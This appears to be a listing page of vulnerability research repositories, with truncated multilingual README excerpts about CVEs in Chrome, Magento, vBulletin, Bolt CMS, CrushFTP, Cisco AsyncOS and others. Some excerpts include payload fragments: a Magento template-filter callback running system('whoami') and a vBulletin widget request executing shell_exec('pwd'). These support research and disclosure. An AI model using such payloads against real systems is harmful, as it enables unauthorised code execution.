cve-2026-13934

CVE-2026-13934 这是工作项目仓库。调查·分析·工作·报告都在一个仓库中 处理D088/D091。 此文件是仓库·看板入口文档 。文件夹·产出物规范的全文请参阅 docs/conventions.md。 正文现状·结论·链接在报告report条目晋升时更新。 调查·分析·工作代理不会修改根 README。 一句话摘要 : Google Chrome 的 WebGPU 实现 Dawn 在创建 YCbCr 采样器时未检查 Vulkan 规范所要求的参数约束,导致已掌握渲染器进程的攻击者可将违反规范的值一路传送到 GPU 进程CWE-20。修复以两层 方式加入验证与后端强制,并已在...

CVE-2022-24086

CVE-2022-24086 Magento RCE について 説明 Adobe Commerce バージョン 2.4.3-p1（およびそれ以前）と 2.3.7-p2（およびそれ以前）は、チェックアウト処理中に不適切な入力検証の脆弱性の影響を受けます。この問題の悪用にはユーザーの操作は不要で、任意のコード実行につながる可能性があります。 POC 注意: これは本当のPOCではありません ... POC var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2026-22015-Serverless-Function-Environment-Variable-Injection-via-Event

CVE-2026-22015 – イベントによるサーバーレス関数の環境変数インジェクション プログラムコード（Python Lambda シミュレーション） lambdaenvinject.py - Vulnerable function that reads env from event import os, json def handlerevent, context: The event contains environment variable overrides debug feature for key, value in event.get'env', .items:...

CVE-2026-63720-datamodel-code-generator

CVE-2026-63720: datamodel-code-generator における検証されていない customBasePath によるコードインジェクション 重大度: 高, CVSS 3.1 7.5 / CVSS 4.0 7.5 （VulnCheck（CNA）により割り当て） 環境上限（ネットワークサービス展開）: 最大 9.8 ベクター（v4.0）: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N ベクター（v3.1）:...

Bolt-CMS-3.6.2---Cross-Site-Scripting

Bolt CMS 3.6.2 - クロスサイトスクリプティングの脆弱性 Bolt CMS 3.6.2 - クロスサイトスクリプティングの脆弱性 CVE-2018-19933 https://vulners.com/cve/CVE-2018-19933 概念実証 PoC 本脆弱性を悪用するには、Bolt CMS 3.6.2 でテキストを入力し、プレビューボタンをクリックします。これは、設定済みエントリおよび新規エントリの Title フィールドで実証されています。 POST /preview/page HTTP/1.1 Host: 127.0.0.1:8000 User-Agent:...

icannTLD

icannTLD Corelight-update は、icannTLD入力ファイルの作成と維持に使用できるようになりました。 スクリプトの説明 Input Framework を使用して公式のICANNトップレベルドメイン（TLD）リストを利用するZeekスクリプトで、DNSクエリから関連情報を抽出し、信頼できるかどうかをマークします。ICANN TLDのソースはこちらにあります: https://publicsuffix.org/list/effectivetldnames.dat. Trusted...

CVE-2025-63419

CVE-2025-63419 CrushFTP 11.3.760以前のバージョンはHTMLインジェクションに対して脆弱です。Webベースのサーバーにはユーザーがファイルを共有できる機能があり、その機能はファイル名をメール本文フィールドに反映しますが、サニタイズが行われないためHTMLインジェクションにつながります。 CWE CWE-79 — Webページ生成時の入力の不適切な無効化（クロスサイトスクリプティング） CVSS v3.1 基本スコア: 3.5 低 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N 概要...

CVE-2025-54123

CVE-2025-54123 - Hoverfly 명령 주입 RCE PoC CVE-2025-54123 - Hoverfly의 미들웨어 명령 주입 📌 CVE 세부 정보 ID : CVE-2025-54123 유형 : 명령 주입 / 원격 코드 실행 RCE 공급업체 : Hoverfly 영향 : 인증된 공격자가 미들웨어 API 엔드포인트를 통해 임의의 시스템 명령을 실행할 수 있습니다. 영향받는 버전 : Hoverfly ≤ 1.11.3 추가 정보 : GHSA-r4h8-hfp2-ggmf NVD:...

CVE-2025-20393

CVE-2025-20393 📌 概要 CVE-2025-20393 は、Cisco AsyncOS を実行している Cisco Secure Email Gateway SEG および Cisco Secure Email and Web Manager SEWM アプライアンスに影響を与える 重大なリモートコマンド実行 RCE の脆弱性です。 この脆弱性は、Spam Quarantine 機能における不適切な入力検証 が原因で存在します。認証されていないリモート攻撃者 は、細工された HTTP リクエストを送信することでこの欠陥を悪用し、root 権限での任意のコマンド実行...

Reflected-XSS-in-Vvveb-CMS-v1.0.7.2

로그인 폼이메일 및 비밀번호 필드의 반사형 XSS 취약점 - Vvveb CMS v1.0.7.2 작성자: Andrew Paul 발견일: 2025년 8월 12일 공급업체: Vvveb 공급업체 URL: http://vvveb.com 공급업체 GitHub: https://github.com/givanz/Vvveb 영향받는 버전: 1.0.7.2 및 이전 버전도 가능 CVE ID: CVE-2025-9728 개요 사용자 로그인 폼에서 반사형 크로스 사이트 스크립팅XSS 취약점CWE-79: Improper Neutralization of...

CVE-2026-43813

CVE-2026-43813 — CloudAttestation enforceEnvironment バイパス Apple が iOS 26.6 として出荷し、CloudAttestation.dylib 内で発見された PCC アテステーション入力検証バグのリバースエンジニアリング解析。 TL;DR PCC.ComputeNodeValidator.policy.getter は、 AttestationBundle プロトブフ内の未検証の darwinInit ディクショナリから com.apple.CloudAttestation.environment バイトを読み取り、...

CVE-2020-17496

CVE-2020-17496 POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo shellexec"pwd"; exit;...

semgrep-rules

semgrep-rules "The attack surface is the vulnerability. Finding a bug there is just a detail." -- Mark Dowd "Some details are more important than others." -- Fedor G. Pikus A collection of my Semgrep rules to facilitate vulnerability research. Blog posts...

CVE-2026-14382

CVE-2026-14382 Bin 触发器 Bug 修复 $250000492218546 High CVE-2026-14382: Insufficient validation of untrusted input in ANGLE. Reported by anonymous on 2026-03-13 此漏洞的根本原因似乎与 CVE-2025-6558 相似。基于我目前的分析，我怀疑它可能是 CVE-2025-6558 的一个变体。因此，我改编了 CVE-2025-6558 的 PoC，并创建了以下文件： poc.c 是主要的 PoC，但仅适用于 32 位环境。与原始...

CVE-2023-51800

CVE-2023-51800 School Fees Management System v1.0 - 다중 사이트 간 스크립팅XSS 취약점 설명 : School Fees Management System v1.0의 다중 사이트 간 스크립팅XSS 취약점. 취약한 제품 버전 : School Fees Management System v1.0 CVE 작성자 : Geraldo Alcântara 날짜 : 28/11/2023 확인 날짜 : 10/12/2023 CVE : CVE-2023-51800 CVE 링크 :...

CVE-2022-29380

CVE-2022-29380 CVE-2022-29380 Date: 25/05/2022 Author: OpenXP Team Software: Academy LMS Version: Academy LMS = v4.3 Type: Cross-Site Scripting OWASP TOP 10: A03:2021-Injection CWE: CWE-79 Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' References:...

exploit_cve-2007-2447_again

エクスプロイトcve-2007-2447再び ユーザー名のサニタイズにおける小さなミスが、マシン全体へのルートアクセスを与える可能性があることを思い出してください。...

CVE-2014-9219

CVE-2014-9219 CVE-2014-9219 XSS POC 概要 この脆弱性は、phpMyAdmin 4.2.x 4.2.13.1 未満 の url.php におけるリダイレクション機能の入力検証エラーが原因で、url パラメータの処理時に発生します。リモートの攻撃者は、被害者に特別に細工されたリンクを踏ませることで、被害者のブラウザ上で任意の HTML およびスクリプトコードを脆弱なウェブサイトのセキュリティコンテキストで実行させる可能性があります。 影響を受けるバージョン phpMyAdmin: 4.2.0 - 4.2.13 問題...

CVE-2022-0739-Exploitation

CVE-2022-0739-악용 CVE-2022-0739의 악용. 이것은 BookingPress WordPress 플러그인 1.0.11 이전 버전에 관한 것입니다. bookingpressfrontgetcategoryservices AJAX 액션을 사용하여 인증되지 않은 사용자에게 제공됨 인증되지 않은 SQL 인젝션으로 이어집니다. 플러그인이 동적으로 구성된 SQL 쿼리에 사용되기 전에 사용자가 제공한 POST 데이터를 적절히 위생 처리하지 않기 때문입니다...

CVE-2025-60012-POC

教育およびセキュリティ研究目的にのみ使用してください。所有していないシステム、または明示的な書面による許可を得ていないシステムに対しては使用しないでください。 →完全な免責事項 CVE-2025-60012 — Apache Livy の不正なファイルアクセス -yellow 概要 フィールド| 詳細 ---|--- CVE ID| CVE-2025-60012 深刻度| 中 CVSS 6.3 影響を受けるバージョン| Apache Livy 0.7.0-incubating、0.8.0-incubating — Apache Spark 3.1 以降に接続している場合 修正バージョン|...